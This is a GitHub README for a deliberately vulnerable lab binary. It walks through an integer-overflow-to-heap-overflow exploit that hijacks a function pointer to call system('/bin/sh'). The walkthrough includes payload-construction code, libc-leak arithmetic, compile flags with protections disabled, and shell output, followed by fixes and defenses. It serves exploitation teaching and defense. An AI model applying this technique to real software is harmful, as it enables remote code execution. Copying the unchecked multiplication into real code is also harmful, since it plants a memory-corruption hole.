Skip to content

Latest commit

 

History

History

integer-overflow

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

README.md

FrameSrv — Integer Overflow → Heap Overflow → Arbitrary Call → RCE

📝 Overview

FrameSrv is a small frame-buffer allocator with an intentional integer-overflow vulnerability in cmd_create(). The pixel-buffer size is computed as a 32-bit multiplication:

unsigned int bytes = w * h;          // 32-bit — wraps!
frames[slot]->pixels = malloc(bytes); // tiny if wrapped

If the user picks w = h = 0x10000 (2^16 each), the product is 2^32, which wraps to 0. malloc(0) still returns a valid 8-byte chunk. The subsequent fill command writes (uint64_t)w * h bytes into that 8-byte chunk → massive heap overflow.

Because glibc's allocator places the next struct immediately after the tiny pixels chunk, the overflow reaches frames[1]->render — a raw function pointer at offset 40 from pixels[0]. Overwriting it with system (leaked from libc) and placing "/bin/sh" in frames[1]->name yields system("/bin/sh") → RCE.

🛡️ Security Mitigations (intentional for the lab)

Mitigation State Notes
Arch i386 32-bit arithmetic → easy to wrap
RELRO None (Not used — no GOT overwrite here)
Stack Canary None (Not used — heap bug)
NX Enabled Irrelevant — we call an existing libc fn
PIE Off Static addresses, easy to reason about
ASLR Enabled Bypassed via built-in leak command

🛠️ Compilation

# Debug (for GDB / offset verification)
gcc -m32 -g -fno-stack-protector -no-pie -z norelro FrameSrv.c -o framesrv

Important: you must recompile after editing FrameSrv.c. A stale binary is the #1 cause of "the fill hangs reading 4 GB" — see the Diagnostic section below.

🧠 The Vulnerable Struct

struct frame {
    char name[16];                   /* offset  0 */
    unsigned int width;              /* offset 16 */
    unsigned int height;             /* offset 20 */
    void (*render)(struct frame *);  /* offset 24 */
    char *pixels;                    /* offset 28 */
};                                    /* sizeof = 32 */

🧨 The Bug (two lines)

unsigned int bytes = w * h;              /* 32-bit wrap → 0 */
frames[slot]->pixels = malloc(bytes);    /* 8-byte chunk     */
...
uint64_t total = (uint64_t)w * h;        /* 64-bit, no wrap  */
for (uint64_t i = 0; i < total; i++)
    read(0, pixels + i, 1);              /* writes 4 GB → overflow */

Two different integer widths for the same logical size is the canonical integer-overflow-to-heap-overflow pattern (CVE-2002-0391, CVE-2016-10190, CVE-2021-3156 style).

🔬 Exploit Walkthrough

Step 1 — Force the wrap → malloc(0)

create 0 0x10000 0x10000
// bytes = 0x10000 * 0x10000 = 0x1_0000_0000 & 0xFFFFFFFF = 0
// → malloc(0) returns an 8-byte chunk (glibc minimum)

The struct is placed in the small-bin 0x30 size class, and the pixels chunk (8 usable bytes) lands in the smallest chunk of the heap. frames[0] (32-byte struct) is already allocated; the tiny pixels chunk is what comes next.

Step 2 — Place frames[1] right after pixels[0]

create 1 1 1
// bytes = 1 → malloc(1) → 16-byte usable chunk
// frames[1] struct is allocated first, then its 1-byte pixels

Because the wrapped buffer was freed into the wild, the next malloc(sizeof(struct frame)) = 32 lands 16 bytes after pixels[0] (glibc MINSIZE = 16). Verified in test_overflow.py:

pixels0 → frames[1]          = 0x10   (16)  ✅
pixels0 → frames[1]->render  = 0x28   (40)  ✅

Step 3 — Leak libc (leak command)

leak
// [leak] libc puts = 0xf7dxxxxx

libc_base = puts_runtime - libc.symbols['puts']
system    = libc_base + libc.symbols['system']

Sanity checks in exploit.py:

  • libc_base & 0xfff == 0 → wrong libc path
  • 0x30000 < puts_offset < 0x90000 → wrong libc version
  • system & 0xff != 0 → null-byte ASLR flake

Step 4 — Overflow pixels[0] → hijack render

fill 0 reads alloc_bytes + 64 = 64 bytes (see Harness cap below). Layout from pixels[0]:

offset  0  ┌─────────────────────────────────────────┐
           │  8 bytes  chunk header (prev_size,size) │  ← filler
offset  8  ├─────────────────────────────────────────┤
           │  frames[1] struct begins here           │
offset  8  │  name[16]  = "/bin/sh\0" + pad          │  → system's arg
offset 24  │  width, height  (8 bytes, ignored)      │
offset 32  │  render = p32(system)  ←  HIJACK        │
offset 36  │  pixels (unused)                        │
offset 40  │  (end of struct)                        │
           └─────────────────────────────────────────┘

Our payload aligns render at byte 40 from pixels[0]:

payload  = b'\x00' * 8
payload += p32(0)                 # prev_size
payload += p32(CHUNK_SIZE)        # size
payload += cmd.ljust(24, b'\x00') # name + w + h = 24 bytes
payload += p32(system)            # ← render @ 40

Step 5 — Trigger

render 1
// frames[1]->render(frames[1])  ==  system("/bin/sh")

The struct's own address is passed as the argument (as with the UAF lab), so name doubles as the shell command. → interactive shell.

🧪 Harness Cap (why fill only reads 64 bytes)

Pure textbook behaviour: fill 0 on w=h=0x10000 reads (uint64_t)w*h = 4 GB. That's impractical over a socket (and makes the lab unusable). The patched cmd_fill bounds the read to alloc_bytes + 64:

uint64_t cap     = (uint64_t)alloc_bytes + 64;
uint64_t to_read = total > cap ? cap : total;

This is a lab affordance, not a fix. Remove the two lines to get the real 4 GB behaviour back. The vulnerability (32-bit wrap on the allocation size, 64-bit access width on the read) is identical either way.

💥 Running

# Terminal 1 (if using socat)
socat TCP-LISTEN:9090,reuseaddr,fork EXEC:./framesrv
# else just run ./framesrv directly in the exploit

# Terminal 2
python3 test_overflow.py    # verify offsets first (optional)
python3 exploit.py

Expected:

[+] libc=0xf7d63000  system=0xf7db51a0
[+] RCE CONFIRMED — uid=1000(ishan) gid=1000(ishan) ...
[+] RCE verified — spawning /bin/sh
$ id
uid=1000(ishan) ...
$ whoami
ishan
$ uname -a
Linux DESKTOP-1I420O9 6.18.58.1-microsoft-standard-WSL2 ...

⚠️ Diagnostic — "fill hangs on reading 4 GB"

If you see:

[fill] slot=0 reading 4294967296 bytes into 0-byte buffer
                     ^^^^^^^^^^ 4 GB — cap missing

…then framesrv was compiled from a pre-cap FrameSrv.c. Verify:

./framesrv  # then: 1 / 0 / 0x10000 / 0x10000 / 2 / 0
Output Meaning
reading 64 bytes into 0-byte buffer ✅ cap applied
reading 4294967296 bytes into 0-byte buffer ❌ stale binary — rebuild

Fix:

grep -n "to_read" FrameSrv.c   # must show 3 hits (var, printf, while)
gcc -m32 -g -fno-stack-protector -no-pie -z norelro FrameSrv.c -o framesrv

exploit.py includes the same check and aborts early:

if b'reading 64 bytes' not in hdr:
    log.failure("CAP NOT APPLIED — binary reads 4 GB per fill")

🛠️ Fixing the Vulnerability

Source fix

/* 32-bit overflow → wrap check before allocating */
if (h != 0 && w > UINT32_MAX / h) {
    printf("dimensions too large\n");
    return;
}

size_t bytes = (size_t)w * (size_t)h;   /* size_t is 32-bit on i386… */
                                        /* …so also validate:          */
if (bytes == 0 || bytes > MAX_PIXELS) {
    printf("bad buffer size\n");
    return;
}
frames[slot]->pixels = malloc(bytes);

Better: use calloc(w, h) — glibc's calloc checks multiplication overflow and returns NULL on wrap. That single change kills the bug.

frames[slot]->pixels = calloc(w, h);   /* overflow-safe */
if (!frames[slot]->pixels) { printf("oom\n"); return; }

Defense in depth

Fix Effect
calloc(w, h) instead of malloc(w*h) glibc validates overflow internally
Explicit w > UINT32_MAX / h check Clear, auditable pre-condition
-ftrapv (dev builds) Signed overflow traps
-fsanitize=undefined (dev builds) -fsanitize=unsigned-integer-overflow catches the wrap
-fsanitize=address (dev builds) Detects the heap overflow at fill time
Full RELRO + PIE Doesn't help this bug (function ptr in heap)
CFI (Clang -fsanitize=cfi) Detects render pointer overwrite

🎯 Skills Demonstrated

Step Concept
w * h in 32-bit vs 64-bit Classic integer-width mismatch
malloc(0) returns minimum 8-byte chunk glibc behaviour you must know
Heap grooming to place target after victim malloc order + MINSIZE (16 bytes)
Offset 40 = struct @ 8 + render @ 24 Precise struct-relative overwrite
leak → system base calculation ASLR bypass (no format-string primitive)
Harness cap diagnostic Reproducibility for a lab context
test_overflow.py offset verification Reproducible before exploitation

⚖️ Disclaimer

Intentionally vulnerable — educational / CTF use only. Do not deploy where untrusted users can reach it.

Credit: Ishan Oshada